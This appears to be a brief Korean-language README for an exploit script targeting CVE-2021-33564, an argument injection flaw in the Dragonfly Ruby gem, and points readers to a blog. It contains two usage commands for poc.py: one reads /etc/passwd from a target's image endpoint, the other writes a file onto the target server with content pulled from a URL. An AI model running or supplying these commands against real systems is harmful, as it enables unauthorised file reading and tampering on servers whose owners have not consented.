
Dragonfly Ruby Gem 인자 주입 익스플로잇 (백업)
CVE-2021-33564 (Dragonfly Ruby Gem의 인수 주입)에 대한 익스플로잇 스크립트.
python3 poc.py -u https://<target_url>/system/refinery/images -r /etc/passwd
python3 poc.py -u https://<target_url>/system/refinery/images -w public/test.txt -c test.txt -lu http://<local_url>
자세한 내용은 블로그를 방문해 주세요.